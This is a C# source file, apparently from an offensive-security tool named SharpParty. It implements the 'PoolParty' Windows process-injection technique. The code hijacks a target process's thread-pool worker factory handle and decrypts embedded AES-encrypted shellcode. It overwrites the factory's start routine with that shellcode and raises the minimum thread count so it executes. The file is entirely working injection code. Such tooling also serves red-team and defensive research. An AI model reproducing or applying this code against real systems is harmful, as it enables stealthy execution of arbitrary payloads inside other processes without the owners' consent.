/**
* BSD 3-Clause License

* Copyright (c) 2023-2024, SafeBreach Labs
* Copyright (c) 2025, Stroz Friedberg
* All rights reserved.

* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice, this
*    list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
*    this list of conditions and the following disclaimer in the documentation
*    and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its
*    contributors may be used to endorse or promote products derived from
*    this software without specific prior written permission.

* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System;
using System.Runtime.InteropServices;
using static SharpParty.Enums;
using static SharpParty.Structs;
using static SharpParty.HelperFuncs;
using static SharpParty.Win32;
using static SharpParty.Constants;

namespace SharpParty
{
    internal class OverwriteStartRoutine
    {
        public unsafe static void Run(IntPtr tProcHandle)
        {
            IntPtr tWorkerFactoryHandle = HijackTargetHandle(tProcHandle, "TpWorkerFactory");
            if (tWorkerFactoryHandle == IntPtr.Zero)
            {
                Console.WriteLine("[-] Failed to get a handle to target process' worker factory. PoolParty Failed.");
                return;
            }
            Console.WriteLine("[+] Got handle to target process' worker factory - (0x{0:X16})", tWorkerFactoryHandle.ToInt64());
            _WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = GetWorkerFactoryInfo(tWorkerFactoryHandle, _QUERY_WORKERFACTORYINFOCLASS.WorkerFactoryBasicInformation);

            byte[] sc = aesDecrypt(ENC_SC, Convert.FromBase64String(DEC_KEY));
            uint scSize = (uint)sc.Length;
            IntPtr bytesWritten = IntPtr.Zero;

            Console.WriteLine("[*] Writing shellcode to start routine address 0x{0:X16}", workerFactoryInfo.StartRoutine.ToInt64());
            bool written;
            fixed (byte* p = sc)
            {
                IntPtr scPtr = (IntPtr)p;
                written = WriteProcessMemory(tProcHandle, workerFactoryInfo.StartRoutine, scPtr, scSize, out bytesWritten);
            }
            if (written)
            {
                Console.WriteLine("[+] Wrote shellcode to worker factory start routine, bytesWritten = " + bytesWritten);
            }
            else
            {
                Console.WriteLine("[-] Failed to write process memory. LastWin32Error = 0x{0:X16}", Marshal.GetLastWin32Error());
                return;
            }

            Console.WriteLine("[*] Setting worker factory min threads to " + (workerFactoryInfo.TotalWorkerCount + 1));
            uint workerFactoryMinThreads = workerFactoryInfo.TotalWorkerCount + 1;
            uint ntStatus = NtSetInformationWorkerFactory(tWorkerFactoryHandle, _SET_WORKERFACTORYINFOCLASS.WorkerFactoryThreadMinimum, ref workerFactoryMinThreads, sizeof(uint));
            if (ntStatus == 0)
            {
                Console.WriteLine("[+] Set worker factory min threads! PoolParty Complete.");
            }
            else
            {
                Console.WriteLine("[*] DEBUG - Failed to set worker factory min threads, ntStatus = {0:X}", ntStatus);
            }
        }
    }
}